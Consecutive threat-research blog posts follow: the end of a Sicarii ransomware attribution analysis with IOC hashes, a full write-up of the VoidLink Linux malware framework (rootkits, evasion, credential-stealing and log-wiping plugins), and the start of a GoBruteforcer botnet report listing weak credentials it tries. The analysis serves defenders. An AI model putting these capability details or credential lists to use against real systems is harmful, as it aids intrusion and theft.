The account’s profile image features a repurposed internet meme containing the phrase “Smile is a mitzvah” (the word “mitzvah” in Hebrew means “good deed”) alongside iconography associated with the banned Israeli extremist Kach organization.

The account is active in several Telegram group chats associated with underground communities. These include Russian-language informal hacker and meme-oriented channels where the operator participates in casual conversation, exchanges stickers and GIFs, as well as chats unrelated to operational activity. The tone in public group chats is informal and at times impulsive, standing in contrast to the more deliberate and controlled tone adopted in private communications.

In all these communications, the operator demonstrates comfortable fluency in English and Russian, using colloquial phrasing, slang, and emotionally expressive language consistent with native or near-native proficiency. No comparable fluency is observed in the Hebrew language in any setting.

Direct Messaging and Signaling Behavior

In private communications, the operator posed as Sicarii’s communications lead and made several self-reported operational claims:

• Victim Activity: Claimed that Sicarii compromised 3–6 victims within approximately one month, all of whom paid the ransom.
• Targeting Strategy: Stated that the group focuses on small businesses, intentionally avoiding large enterprises and government entities to reduce scrutiny and pressure.
• Negotiation Practices: Acknowledged routine negotiation and cited a single case in which a ransom demand was reduced to approximately USD 10,000 for an incident involving around five endpoints.
• Comparative Positioning: Repeatedly compared Sicarii to established Russian ransomware groups such as LockBit and Qilin, while emphasizing that Sicarii is intentionally maintaining a lower profile “for now.”

On January 5, 2026, Sicarii published its first publicly listed victim, a Greece-based manufacturer. Shortly thereafter, Sicarii advertised downloadable exfiltrated data hosted on a public file-sharing service, but the file download links quickly expired. The operator described this victim as “just a test,” despite earlier assertions that multiple successful extortion cases had already occurred. This reframing introduces an internal inconsistency between prior claims of operational success and the treatment of the first disclosed victim.

Ideological Claims vs. Financial Motivation

Sicarii simultaneously frames itself as a profit-driven RaaS platform and an ideologically motivated actor inspired by extremist Jewish figures. Multiple conversations and advertisements emphasize that Sicarii prioritizes attacks against Arab or Muslim targets and explicitly volunteer “insider information” about their intention to next target a Saudi Arabian entity.

This duality is inconsistent with observed ransomware ecosystems, where ideological messaging is typically minimized to avoid limiting affiliate recruitment and operational reach. The selective invocation of ideology, particularly when paired with commercial incentives, appears performative rather than doctrinal.

Performative Israeli Identity and Linguistic Inconsistencies

Although Sicarii group members present themselves as Israeli or Jewish, their use of Hebrew strongly suggests non-native language skills. Hebrew content on the group’s shame site contains misspellings, awkward phrasing, and literal translations of English idioms that do not exist in Hebrew. In private communications, the Telegram user claimed to personally handle only “frontend and communications,” while asserting other operators are Israeli and responsible for ransomware development and initial access operations. Using the same Telegram profile, the actor quickly reemerged as “Isaac” while producing Hebrew that appears to be machine-translated English and insisting they are Hebrew speakers even when challenged.

In contrast, Sicarii’s activity on underground forums and Telegram channels is conducted fluently in Russian and English, including structured RaaS advertisements and informal interactions. This linguistic asymmetry indicates that English or Russian is actually the operator’s primary language.

Behavioral Indicators and OpSec Observations

The operator’s Telegram behavior displays several notable characteristics:

• Low operational discipline, such as openly requesting “ransomware APKs” in public group chats rather than sourcing such information privately.
• Identity play and inconsistency, including shifting self-descriptions and performative signaling toward ideological alignment without a clear strategic purpose.

This reinforces the impression of a relatively inexperienced actor navigating established underground ecosystems rather than a seasoned participant.

Visual Branding and Subcultural Overlap Image

The Telegram operator’s profile image and shared graphics reuse a modified internet meme featuring the phrase “Smile is a mitzvah” alongside symbols associated with the banned Israeli extremist organization Kach. The only variant of this image was identified within a looksmax forum, an online male-dominated subculture often characterized by extreme racism, misogyny, and anti-Semitic discourse.

The limited circulation of this image suggests it’s not a mainstream ideological representation. The forum user who shared this picture said he was a 15-year-old boy and participated in anti-Semitic forum threads.

VirusTotal Activity – Uploading Your Own Source Code & Terrorist Images

The majority of Sicarii-associated samples were submitted to VirusTotal by a single community account which uploaded approximately 250 files over the past several months. Most submissions correspond to apparent variants or loaders associated with the Sicarii ransomware.

Notably, the ransomware binaries were frequently uploaded under the generic filename Project3.exe, a naming convention consistent with testing, staging, or iterative development rather than finalized deployment artifacts.

In addition to compiled ransomware samples, the same VirusTotal account uploaded a source code file titled ransomawre.cs on October 25, 2025, predating Sicarii’s public emergence. This source code referenced the same Tor infrastructure later used by the Sicarii ransomware, suggesting early development or experimentation prior to operational deployment.

In addition to malware-related submissions, the same account also uploaded:

• Unrelated suspicious files
• Malware report-style documents
• An image of Meir Kahane, founder of the extremist Kach organization

The convergence of ransomware testing artifacts, early-stage source code, and extremist ideological imagery within a single VirusTotal account is atypical for mature ransomware operations. Instead of reflecting a compartmentalized development pipeline or affiliate-driven ecosystem, this activity suggests personal experimentation or centralized control, reinforcing the impression of limited operational experience and informal tradecraft.

Explicit National Signaling and Deviation from Ransomware Norms

Established ransomware groups, particularly those operating from Russia or Eastern Europe, typically avoid overt national or ideological signaling to preserve plausible deniability and reduce geopolitical risk. Even well-documented Russian-linked groups such as Qilin or Cl0p refrain from explicit self-identification, despite consistently avoiding domestic targets.

Notably, Sicarii’s operators referenced Qilin and Cl0p in private communications, explicitly describing them as Russian groups that do not attack within Russia and stating that Sicarii follows the “same logic.” This comparison was used by the operator to justify both excluding Israeli victims and the group’s broader targeting posture.

Despite invoking this model, Sicarii diverges sharply from established ransomware norms by:

• Advertising preferential rates for attacks against Arab or Muslim states.
• Embedding Israeli geo-exclusion logic directly into its ransomware.
• Publicly associating itself with extremist Jewish figures and symbols.

Whereas Eastern European ransomware groups rely on implicit understandings and silent geographic avoidance, Sicarii’s approach is unusually explicit and performative. Such behavior is not only unnecessary for a financially motivated RaaS but also invites avoidable exposure. All of this suggests either limited operational maturity or deliberate signaling beyond purely criminal objectives.

Historical Precedent for False-Flag Use of Jewish Identity

Previous campaigns attributed to Iranian-aligned or anti-Israeli actors, including Moses Staff and Abraham’s Ax, leveraged Jewish historical references and fabricated Israeli insider personas to conduct false-flag operations or influence campaigns.

While no direct technical linkage exists between Sicarii and these actors, the use of Jewish extremist symbolism, overt Israeli identity claims, and ideologically charged rhetoric mirrors known deception techniques employed in prior operations by anti-Israeli Middle Eastern actors.

Leak site

The Sicarii leak site is notably rudimentary, offering display options in both Hebrew and English. The Hebrew version is characterized by awkward phrasing and frequent misspellings, further indicating non-native authorship. In private communications, the operator stated that AI tools were used in the site’s development. Notably, the leak site was active for approximately one month before the first victim was published, a delay that is atypical for RaaS operations seeking rapid visibility and credibility.

Conclusion & Assessment

Sicarii is a newly observed ransomware operation that combines a functional extortion capability with unusually explicit Israeli and Jewish branding. While the malware itself demonstrates credible ransomware functionality, the group’s behavior and presentation deviate from established ransomware norms.

On Telegram communications, underground forum activity, and public-facing infrastructure, Sicarii repeatedly asserts national and ideological identity in ways that provide no clear operational benefit. Although the operators compare themselves to Russian ransomware groups such as Qilin and Cl0p (arguing that those groups also avoid domestic targets), Sicarii departs from this model by making its alignment explicit and performative, weakening plausible deniability.

Linguistic analysis further undermines the group’s claims. Hebrew usage across the leak site and private communications is inconsistent and indicative of non-native authorship, while English and Russian are used fluently. Operationally, the group appears centralized and informal, with early-stage tooling, inconsistent victim narratives, and limited compartmentalization, suggesting experimentation rather than a mature RaaS ecosystem.

Taken together, these indicators suggest that Sicarii’s claimed Israeli or Jewish identity doesn’t necessarily reflect genuine ideological motives. Instead, the operation appears to leverage performative identity signaling layered onto an immature ransomware capability. Attribution remains inconclusive, but Sicarii’s self-description should not necessarily be taken at face value.

IOCs:

4104542714022cb6ef34e9ee5affca07b9a38dbee49748f8630c5f50a26db8b2
cce3821939b7cb77b9da3d59bbcb5978818d4937dd330d820102b012ffcebe4d
a9cadb2c85a4d951f1c41d3dba6be6af876d364c5bba267a42f7839f40b45c0a
b9691587dff4b09987354d50c5d7f9f99f57183bdb6115d1ed410ea0a2e86973
0f0509d1751185fc3d0fce5a578d29aa9d1fe219f29dacef2cf4200851ed541c
59bb8cbd471bd6598c8bf830fa9f90574e8b1bae59d90d379dfd91b1390f7a33
203fd36eed61f7c0f9225cf5a824d39a3a891f63c908586801e350f785f0ddca
6d4cecda3cd5e031d2d23991fe4040568a221ee6ee7e99aaecda52431e67e18d
fbf4ba84c6bb558d6663e34ce7fb459c2cb4e7577241116abaa09ff1eb0d2108
8a4f1e01c78dbeb5258ef97420a948cc530ff3c4d6fa5153b5da5872c728bfe3
bacc9fe505d243ad5192bad081f2fb7cb5bf0d4d26b0b0e51f5a74f64a2db2a5
70ac2b0f9b40eb8682db4452bbda70363b3680eef8ee30cd311e0d2e4c125bcb
a7ec88cc08ffa80915f32ac7274218ded88e61c6cda95bedbb8fe9d729ba7495
debbc85b17c753c3428588cd865b9bcc4b60c18566724d6fc841133ddb3ba5d3
97c2cda26d8e53eb74489a066834e7afae1a89a71f57b91e64384f88358d0c4e
07ef103cbe476dbaee5fb3a8068a9246c0a18f7b89846ba11e90b3622fdfef91
b23176a06dc2e32978a13853ce7730007242a2f9d1e1d33e9601de6b4eaadc3e
5a2f8aea67e3f89029383b46dfe2f5671902d0b2815b9cf5ab6e74fe6d406fb0
befb0f49fc3bfad9166300600be6da73efb6c9b19e09f9515bce9d60cc9a0455
feda2efbc44d4ef1694d3d2a4c2794013d8a071194adf3c14e5376e1a369ee61
942b5945a927ad2c78c1ce1afc9e86b2f6f4134c6fb36ca1fafef5b21ba1d8a2
b0718c24b687e781f1a55d2e302baeb31bfd649308a8eb9f1361569c9af260d1
7a782c7fcfc2ef8231694216f998ba3078ce00bb06d2d27c734c6e65d9df9d86
eff3bd2522a8e6725cb58d45076a3fe705a206e5cd7fe7ec70b7726ad4a53286
64f6ebf9e3c285cc527b94080bccb7fc051137621870997220854907bb69bb69
e920bb59cd7d803615b08b957d4eb9ba8a9cc2d104924d856b54839fec868314
12a6dcefe12e8245bf4a6c9fc894ca431a02720f653841b5ccf6174a226c6a29
350ba9075a0011a100e11594e7d64461c1d5024c6f46b6a4d6398dc8bf8495b0
4b8eca4bf33e13a680ef30b9295cce5a7f5de3b7f5f8771ab206572488d3d9f4
d99ded48868d2961dcae6b4c63d1b74395aeb440232cf44828e3e2bf31c06418
362fe4f7ada71ee779b3bf2fa32c7f42704d051920166b26a68599c470dc5de1
20114fc02aa0296919f8072ee59195bed83cf79ec0f5c1f37e4fa7939710aa49
7388b87febbe9aa6633c0c1363b1feb9e82de84c83f1696649edeaeeaf3e21bd
c8ac7f6fb9a3435108019477e3a2b7fcd322a92d93015e19c7930673685c0e17
07448b617834e3f40137773ef3432b12efe72cd373217802e0266663a3253095
9a0f9efacfdd73037b8f4a656beef3382d7996fcc4331c896b9163c296ae1218
906c1fa52aa00001ce568ca5fcb673dbea4bee3772f1ba9435ee87e2c9216dc4
100940358086d978cd418b43aed88d26e86af096886bf7b2f3a0f58d729428b0
f4ae6a1ef1aa9e734a141b90c1333fc624512c453aa2f668cadd5e3408ca08a0
f4b05effc920457129f41827840d4d6063e0040fd612e7ca63a6c3e25736ea0c
7028436ae16f813b278f82b0b02d22fb0338a0becc1cdcd4b2f4c9de8bb23408

The post Sicarii Ransomware: Truth vs Myth appeared first on Check Point Research.

Key takeaways

• VoidLink is an advanced malware framework made up of custom loaders, implants, rootkits, and modular plugins designed to maintain long-term access to Linux systems. The framework includes multiple cloud-focused capabilities and modules, and is engineered to operate reliably in cloud and container environments over extended periods.
• VoidLink’s architecture is extremely flexible and highly modular, centered around a custom Plugin API that appears to be inspired by Cobalt Strike’s Beacon Object Files (BOF) approach. This API is used in more than 30+ plug-in modules available by default.
• VoidLink employs multiple Operational Security (OPSEC) mechanisms, including runtime code encryption, self-deletion upon tampering, and adaptive behavior based on the detected environment, alongside a range of user-mode and kernel-level rootkit capabilities.
• The framework appears to be built and maintained by Chinese-affiliated developers (exact affiliation remains unclear) and is actively evolving. Its overall design and thorough documentation suggest it is intended for commercial purposes.
• The developers demonstrate a high level of technical expertise, with strong proficiency across multiple programming languages, including Go, Zig, C, and modern frameworks such as React. In addition, the attacker possesses in-depth knowledge of sophisticated operating system internals, enabling the development of advanced and complex solutions.

VoidLink – a Cloud-First Malware Framework

In December 2025, Check Point Research identified a small cluster of previously unseen Linux malware samples that appear to originate from a Chinese-affiliated development environment. Many of the binaries included debug symbols and other development artifacts, suggesting we were looking at in-progress builds rather than a finished, widely deployed tool. The speed and variety of changes across the samples indicate a framework that is being iterated upon quickly to achieve broader, real-world use.

The framework, internally referred to by its original developers as VoidLink, is a cloud-first implant written in Zig and designed to operate in modern infrastructure. It can recognize major cloud environments and detect when it is running inside Kubernetes or Docker, then tailor its behavior accordingly. VoidLink also harvests credentials associated with cloud environments and standard source code version control systems, such as Git, indicating that software engineers may be a potential target, either for espionage activities or possible future supply-chain-based attacks.

VoidLink’s feature set is unusually broad. It includes rootkit-style capabilities (LD_PRELOAD, LKM, and eBPF), an in-memory plugin system for extending functionality, and adaptive stealth that adjusts runtime evasion based on the security products it detects, favoring operational security over performance in monitored environments. It also supports multiple command-and-control channels, including HTTP/HTTPS, ICMP, and DNS tunneling, and can form P2P/mesh-style communication between compromised hosts. In the latest samples, most components appear to be close to completion, alongside a functional C2 server and a dashboard front end integrated into a single ecosystem.

The framework’s intended use remains unclear, and as of this writing, no evidence of real-world infections has been observed. The way it is built suggests it may ultimately be positioned for commercial use, either as a product offering or as a framework developed for a customer.

Command and Control Panel

Figure 1 – Main Panel

To best manage an attack, VoidLink ships with a web-based dashboard that provides the operator with complete control over the running agents, implants, and plugins. This interface is localized for Chinese-affiliated operators, but the navigation follows a familiar C2 layout: a left sidebar groups pages into Dashboard, Attack, and Infrastructure. The Dashboard section covers the core operator loop (agent manager, built-in terminal, and an implant builder). In contrast, the Attack section organizes post-exploitation activity such as reconnaissance, credential access, persistence, lateral movement, process injection, stealth, and evidence wiping.

Dashboard	Attack	Infrastructure
Implants	Reconnaissance	Tunneling
Terminal	Credentials	File Management
Builder	Persistence	Plugin Management
	Lateral Movement	Task Management
	Process Injection	Set Up
	Hidden Modules
	Wipe Evidence

Figure 2 – Persistence Panel (Translated)

Figure 3 – Wipe Evidence Panel (Translated)

The Generator panel acts as the build interface for VoidLink, enabling the threat actor to generate additional, customized implant variants on demand. From this screen, the operator can select the desired capability set and tune the overall evasion posture. It also exposes operational parameters such as the implant’s heartbeat or beaconing interval, allowing the actor to balance responsiveness against stealth by controlling how frequently the implant checks in and executes tasks. All these parameters can also be changed at runtime.

Figure 4 – Builder Panel (Translated)

The most interesting component of the dashboard is the plugin management panel. It allows the operator to deploy selected modules to victims and to upload custom modules. At the time of our research, 37 plugins were available, organized into several categories: Tools, Anti-Forensics, Reconnaissance, Containers, Privilege Escalation, Lateral Movement, and “Others” (see “Plugin System” below).

Figure 5 – Plugins Panel

Technical Overview

VoidLink is an impressive piece of software, written in Zig for Linux, and it is far more advanced than typical Linux malware. At its base, it features a conventional core that maintains implant stability. The core manages global state, communications, and task execution. This well-designed core hosts several features on top that make the malware a full-fledged C2 framework.

VoidLink is delivered through a two stage loader, where the final implant has core modules embedded, but external code can be downloaded at runtime as plugins:

Figure 6 – VoidLink High Level Overview

Cloud-First Tradecraft

VoidLink is a cloud-first Linux implant. Once a machine is infected, it surveys the compromised system and can detect which cloud provider the infected machine is running under. Currently, VoidLink can detect AWS, GCP, Azure, Alibaba, and Tencent, with plans to add detections for Huawei, DigitalOcean, and Vultr. For all these cloud providers, VoidLink queries additional information on instance metadata using the respective vendor’s API.

Figure 7 – Querying AWS metadata

In addition to cloud detection, it collects vast amounts of information about the infected machine, enumerating its hypervisor and detecting whether it is running in Docker container or a Kubernetes pod.

To ease data exfiltration, privilege escalation, and lateral movement in containerized environments, several post-exploitation modules are implemented—from automated container escapes over secret extraction to dedicated lateral movement commands.

Ultimately, the goal of this implant appears to be stealthy, long-term access, surveillance, and data collection.

Plugin Development API

In addition to the core modules and commands, the VoidLink framework offers an extensive development API, similar to (and likely inspired by) Cobalt Strike and its Beacon API. The API is set up during the malware’s initialization by creating an export table that contains all available APIs.

Figure 8 – Development API Export Table

When developing a VoidLink plugin, a developer can then reference these APIs to e.g. read files, create socket connections, execute files, resolve routines from shared objects or log to the C2 console. The whole API operates on direct syscalls, bypassing libc hooks.

Adaptive Stealth

Upon launch, VoidLink enumerates installed security products and hardening measures, including Linux EDRs and kernel hardening technologies. However, this information is not only returned to the operator but used to calculate a risk score for the environment and suggest an evasion strategy, which is then used in other modules to influence their behavior, so that, for example, a port scan is executed more slowly and with greater control in an environment where monitoring is implemented, and the risk is comparatively high. This pattern of adaptive stealth is one of VoidLink’s core principles and is applied throughout the framework.

Figure 9 – Detected EDRs

Rootkit Modules

Another noteworthy component is a monitor that helps VoidLink blend in with normal system activity. It builds a profile of host behavior by reading machine telemetry (CPU, memory, network, and active processes), parsing it, and creating adaptive intervals for communication with the C2, with constraints such as working hours and low-activity times.

A stealth module integrates advanced concealment techniques, including kernel-level techniques. It maintains a family of rootkits tailored to multiple kernel versions. It couples them with eBPF programs that can hook sensitive paths without requiring a traditional LKM on newer, locked-down systems. VoidLink handles rootkit deployment once again, based on the environment in which it runs, and chooses the right rootkit to deploy accordingly. Depending on the Kernel version and supported features, the following rootkits are chosen:

• LD_PRELOAD: When the “kernel” flag is disabled, OR the kernel version is < 4.0
• eBPF: For a Kernel version ≥ 5.5 with eBPF support
• LKM: Kernel ≥ 4.0

Figure 10 – Rootkit deployment depending on environment

Using the rootkits, the implant can selectively hide its processes, files, and network sockets, as well as hide the rootkit modules themselves.

Command and Control

At the network level, VoidLink attempts to make outbound network connections appear legitimate; several modules conceal the traffic. There is a layer responsible for HTTP camouflage, which attempts to make requests appear legitimate.

Figure 11 – HTTP camouflage configuration

Requests, as well as exfiltrated files, can be hidden in various ways, including via PNG-like blobs, standard website content (JS/CSS/HTML), or by mimicking API traffic. VoidLink supports multiple transport protocols: HTTP/1.1, HTTP/2, WebSocket, DNS, and ICMP. All are managed through a protocol dubbed VoidStream by the developers. VoidStream handles encryption and message parsing for all of the previously mentioned protocols.

While not fully implemented, analyzed samples also contain methods for mesh C2—a peer-to-peer networking method in which infected machines form a mesh network, routing packets in-between each other without needing outbound internet access.

Anti-Analysis

VoidLink deploys several anti-analysis mechanisms. In addition to anti-debugging techniques, VoidLink detects various debuggers and monitoring tools. VoidLink also runs runtime integrity checks to identify potential hooks and patches. Additionally, a self-modifying code option decrypts protected code regions at runtime and encrypts them while not in use, evading runtime memory scanners. If VoidLink detects any type of tampering, it deletes itself.

Anti-forensic modules ensure that any traces left by VoidLink are also deleted. The malware cleans command histories, login records, system logs, and dropped files, all while ensuring that files are not only unlinked from the file system but also overwritten with random data to prevent forensic recovery.

Plugin System

VoidLink’s plugin system effectively expands its framework, evolving from an implant to a fully featured post-exploitation framework. Again, similar to Cobalt Strike and its Beacon Object Files, plugins come as (ELF) object files that are loaded at runtime and are executed in-memory.

The plugins available by default cover various categories:

Recon	Detailed system and environment profiling, user and group enumeration, process and service discovery, filesystem and mount mapping, and mapping of local network topology and interfaces.
Cloud	Kubernetes and Docker discovery and privilege-escalation helpers, container escape checks, and probes for misconfigurations that allow attackers to break out of pods or containers into the underlying host or cluster.
Credential Harvesting	Multiple plugins to harvest credentials and secrets, including SSH keys, git credentials, local password material, browser credentials and cookies, tokens, and API keys in environment variables or process arguments, and items stored in the system keyring.
Utilities and lateral movement	Post-exploitation tooling includes file management, interactive and non-interactive shells, port forwarding and tunneling, and an SSH-based worm that attempts to connect to known hosts and spread laterally.
Persistence	Persistence Plugins that establish persistence via native mechanisms like dynamic linker abuse, cron jobs, and system services.
Anti-forensics	Components that wipe or edit logs and shell history based on keywords and perform timestomping of files to disrupt forensic timelines.

Together, these plugins sit atop an already sophisticated core implementation, enriching VoidLink’s capabilities beyond cloud environments to developer and administrator workstations that interface directly with those cloud environments, turning any compromised machine into a flexible launchpad for deeper access or supply-chain compromise. The appendix lists all plugins we analyzed, with a summarized description of each.

Conclusion

VoidLink is a rapidly developing Linux command and control framework, tailored towards modern cloud environments with a focus on stealth. The sheer number of features and its modular architecture show that the authors intended to create a sophisticated, modern and feature-rich framework. VoidLink aims to automate evasion as much as possible,profiling an environment and choosing the most suitable strategy to operate in it. Augmented by kernel mode tradecraft and a vast plugin ecosystem, VoidLink enables its operators to move through cloud environments and container ecosystems with adaptive stealth.

While the larger part of the malware landscape targets Windows, the Linux platform is often an underlooked target by both malware developers and defenders. The creation of a framework dedicated to the Linux platform, and more specifically, cloud environments, shows that these platforms are a valid target for threat actors.

Although it is not clear if the framework is intended to be sold as a legitimate penetration testing tool, as a tool for the criminal underground, or as a dedicated product for a single customer, defenders should proactively secure their Linux, cloud, and container environments and be prepared to defend against advanced threats such as VoidLink.

Protections

Check Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of attack tactics, file types, and operating systems, and protect against the attacks and threats described in this report.

Indicators of Compromise

Appendix

Plugin name	Description
ssh_harvester_stealth_v3.o	Plugin that collects SSH private keys and configuration data from the host for later use or exfiltration.
ssh_harvester_v3.o	Plugin that collects SSH private keys and configuration data from the host for later use or exfiltration.
port_scan_stealth_v3.o	Basic port scanner that checks a specified target for open network ports.
port_scanner_v3.o	Basic port scanner that checks a specified target for open network ports.
sys_info_v3.o	Information-gathering plugin that collects general system details such as host identifiers, OS information, and environment data.
ssh_worm_v3.o	Self-propagating SSH worm module that iterates over known hosts and attempts credential-based logins in a throttled, low-profile manner.
term_pty_v3.o	Interactive backdoor, allows remote command execution and file read or write operations.
file_mgr_v3.o	File manager plugin that lets the operator browse directories and upload, download, create, rename, or delete files and folders.
simple_test.o	Test plugin, does nothing.
port_fwd_v3.o	Port-forwarding module that sets up tunnels to expose internal services on the compromised host to the operator.
k8s_privesc_v3.o.b	Kubernetes privilege-escalation helper that looks for ways to break out of a pod or raise privileges and reports any viable paths.
systemd_persist_v3.o	Persistence plugin that creates or modifies systemd service definitions so the implant is launched automatically on startup.
docker_escape_v3.o	Container-escape module that checks and attempts known Docker breakout techniques, sending any interesting results back to the C2.
cron_persist_v3.o	Persistence component that installs or alters cron jobs for persistence.
hello_plugin_v3.o	Lightweight reconnaissance plugin that records basic runtime details such as process ID, user ID, hostname, and current directory.
mimipenguin_lite_v3.o	Credential-harvesting module that inspects running processes and their arguments to extract passwords or other sensitive secrets.
browser_stealer_v3.o	Browser data theft plugin that targets Chrome and Firefox to extract stored credentials, cookies, and similar artifacts.
log_wiper_v3.o	Log-cleaning tool that searches common log files for specific keywords and removes matching entries to obscure activity.
timestomp_v3.o	Timestomping module that alters file and directory timestamps to disrupt forensic reconstruction of events.
service_enum_stealth_v3.o	Stealthy service-enumeration plugin that probes open ports to identify the underlying services, banners, and version details.
proc_list_v3.o	Process discovery component that enumerates running processes and collects detailed information about each one.
keyring_dump_v3.o	Keyring-dumping module that extracts secrets stored in the system keyring.
mount_info_v3.o.b	Filesystem reconnaissance plugin that lists mounted disks and volumes.
user_enum_v3.o	Account-enumeration module that gathers information about local users, groups, and their relationships on the system.
k8s_exec_v3.o	Kubernetes discovery plugin that queries the cluster to enumerate accessible namespaces, pods, and related resources.
ld_preload_v3.o	Persistence mechanism that abuses dynamic linker hooks such as LD_PRELOAD so the implant code runs when targeted programs start.
hello_plugin.o	Basic info-gathering plugin that captures minimal runtime context like process ID, user, hostname, and working directory.
passwd_dump_v3.o	Credential-dumping module that reads local account databases to collect usernames and associated password hashes.
history_wipe_v3.o	History-manipulation tool that removes shell history entries matching a pattern and can disable future history logging.
env_vars_v3.o	Environment-variable scanner that searches exported variables for secrets such as API keys, access tokens, and credentials.
net_topology_v3.o	Network reconnaissance module that uses ARP and routing information to map nearby hosts and overall network topology.
ssh_tunnel_v3.o	Tunneling plugin that establishes SSH-based tunnels to route traffic through the compromised host.
exploit_dirty_pipe_v3.o	Privilege-escalation module that implements a Dirty Pipe, compiled for MAC with unsed code, wouldn’t work.
net_ifconfig_v3.o	Network configuration enumerator that collects interface information, IP addresses, and related network settings.
service_enum_v3.o	Service-enumeration module that connects to discovered ports to identify services, capture banners, and gather version information.

The post Unveiling VoidLink – A Stealthy, Cloud-Native Linux Malware Framework appeared first on Check Point Research.

Key takeaways

• GoBruteforcer (also called GoBrut) is a modular botnet, written in Go, that brute-forces user passwords for services such as FTP, MySQL, PostgreSQL, and phpMyAdmin on Linux servers. The botnet spreads through a chain of web shell, downloader, IRC bot, and bruteforcer modules.
• The current wave of campaigns is driven by two factors: the mass reuse of AI-generated server deployment examples that propagate common usernames and weak defaults, and the persistence of legacy web stacks such as XAMPP that expose FTP and admin interfaces with minimal hardening.
• According to our estimate, more than 50,000 Internet-facing servers may be vulnerable to GoBruteforcer attacks.
• Check Point Research (CPR) observed a GoBruteforcer campaign targeting databases of crypto and blockchain projects. On one compromised host, we recovered Go-based tools, a TRON balance scanner and TRON and BSC “token-sweep” utilities, together with a file containing ~23,000 TRON addresses. On-chain transaction analysis involving the botnet operators’ recipient wallets shows that at least some of these financially motivated attacks were successful.

Introduction

GoBruteforcer is a botnet that turns compromised Linux servers into scanning and password brute-force nodes. It targets internet-exposed services such as phpMyAdmin web panels, MySQL and PostgreSQL databases, and FTP servers. Infected hosts are incorporated into the botnet and accept remote operator commands.  Newly discovered weak credentials are used to steal data, create backdoor accounts, sell access, and expand the botnet.

The malicious toolkit is usually split into two parts. The first is an IRC bot that enables remote control of the compromised host, including command execution and updates. The second is a bruteforcer that is fetched later and used to scan random public IP ranges and attempt logins using credentials that are hardcoded or provided by the command and control (C2) server.

The botnet was first described publicly in 2023. In mid-2025, we  began observing a more sophisticated GoBruteforcer variant in the wild. This new variant introduces a heavily obfuscated IRC bot (rewritten entirely in Go), improved persistence mechanisms, process-masking tricks, and server dynamic credential lists.

This article summarizes what we know about the 2025 variant, highlights its new features, and provides a broader context of misconfigured servers, weak credentials, and AI-assisted DevOps workflows.

Attack surface

Millions of database and file-transfer servers are publicly reachable on their default ports. Recent data from Shodan (a search engine for internet-connected devices and services) show roughly 5.7 million FTP servers, 2.23 million MySQL servers, and about 560 thousand PostgreSQL servers are exposed to the Internet.

Figure 1 — Number of MySQL servers publicly reachable on the default port (Source: Shodan search).

These services, together with tens of thousands of phpMyAdmin panels, form the primary attack surface for GoBruteforcer.

We compared the credential list used in GoBruteforcer campaigns against a database of approximately 10 million leaked passwords and found an overlap of roughly 2.44%. This gives us a baseline for a rough upper limit on the number of hosts that might accept one of the passwords that GoBruteforcer has at its disposal: approximately 54.6 thousand MySQL instances and 13.7 thousand PostgreSQL instances (note that this estimate does not account for correct usernames, host-based access restrictions, or other policy controls). Even with a low success rate, the large number of exposed services makes this type of attack an economically-attractive option. Our assumptions are supported by Google’s 2024 Cloud Threat Horizons report, which found that weak or missing credentials accounted for 47.2% of initial access vectors in compromised cloud surfaces. In practice, attackers do not need expensive techniques or zero-day exploits to gain access. They can simply try common usernames and passwords such as admin, 123456 or password1 until they obtain access (the bruteforce model). The evidence shows that this approach still succeeds far too often.

Drivers of the current wave

For GoBruteforcer to succeed, the attackers must guess not only a weak password but also a valid username that accepts remote logins. In our monitoring of the botnet, we observed that real GoBruteforcer attacks use common operational usernames such as appuser and myuser in their brute-force credential lists:

Figure 2 — Sample credential lists delivered by GoBruteforcer C2 for brute-force tasks.

The use of these names in attacks is not accidental. Most have circulated for years in database tutorials, vendor documentation, and community Q&A as convenient examples, many of which were copied into production environments.

Large language models (LLMs) are trained on this same public documentation and example code. It is therefore not surprising that they often reproduce the same configuration samples with popular default usernames like appuser and myuser. We asked two mainstream LLMs to help us create a MySQL instance in Docker. Both produced near-identical snippets with stock username patterns:

Figure 3 — Example snippets generated by different models for deploying MySQL in Docker.

AI clearly boosts productivity and lowers the barrier to entry: a person with little operational experience can use an AI assistant to create a database server in Docker in minutes. However, blindly following AI-provided instructions carries security risks as it leads to even wider use of standard configurations with common usernames in production. Although we do not think that GoBruteforcer specifically targets AI-assisted server installations, the widespread use of LLMs may help the botnet’s attacks become more successful.

The second driver for GoBruteforcer attacks is legacy web server software stacks such as XAMPP, which still power a considerable number of websites. These installations often ship with a preinstalled FTP server and default credentials (often without the administrator’s awareness) which serve as a functional backdoor waiting to be exploited.

Campaign patterns and targeting

GoBruteforcer targets four service types: FTP, MySQL, PostgreSQL, and phpMyAdmin.

The C2 server determines which service to attack, and also transmits a list of 200 credentials for the brute-force attack. The campaign profile, which includes the target and username and password sets, is rotated through several times per week. Within one campaign, the per-task password lists are newly created each time from a relatively small database, typically 375–600 commonly used weak passwords.

We observed broad spray campaigns and more focused runs. In generic sprays, the botnet operator uses a list of common operational usernames (php, operator, appuser, john, api, newuser, dbo, service, web, guest, myuser and others) and a standard weak-password base, sometimes with light username-flavored variants (for example appuser1234 or operatoroperator).

Some tasks are clearly sector-focused. For example, we observed an attack that used crypto-themed usernames such as cryptouser, appcrypto, crypto_app, and crypto. In these runs, the passwords used combined the standard weak list with crypto-specific guesses such as cryptouser1 or crypto_user1234.

Other campaigns target phpMyAdmin panels, often associated with WordPress sites. These attacks use a short username list: root, wordpress, and wpuser. The attackers supplement the common weak-password set with WordPress-style variants like wordpress, wordpress123 and wpuserwpuser.

We also observed username-focused runs that apply the full password pool to a single username such as appuser or root).  Different single-username tasks are distributed across the botnet, so it is likely that many account names are tested in parallel.

To summarize, the attackers  reuse a small, stable password pool for each campaign, refresh per-task lists from that pool, and rotate usernames and niche additions several times a week to pursue different targets.

Unlike the other services, FTP brute-force uses a small, hardcoded set of credentials embedded in the bruteforcer binary. That built-in set points to web-hosting stacks and default service accounts, as many usernames and passwords map to known defaults used by bundled distributions (notably XAMPP) and common web server deployments (e.g., apache, daemon, http, www, wordpress-style entries).

Attackers can use the discovered weak passwords to further spread the botnet (this may be possible in case of a successful compromise of WordPress) as well as steal sensitive data from compromised databases and sell access.

Operational workflow

We observed GoBruteforcer activity both in the wild and in dedicated honeypots. The data we collected show common initial access patterns that we saw repeatedly in campaigns and honeypot captures.

See Figure 4 for the attack chain:

Figure 4 — GoBruteforcer infection chain.

Initial access

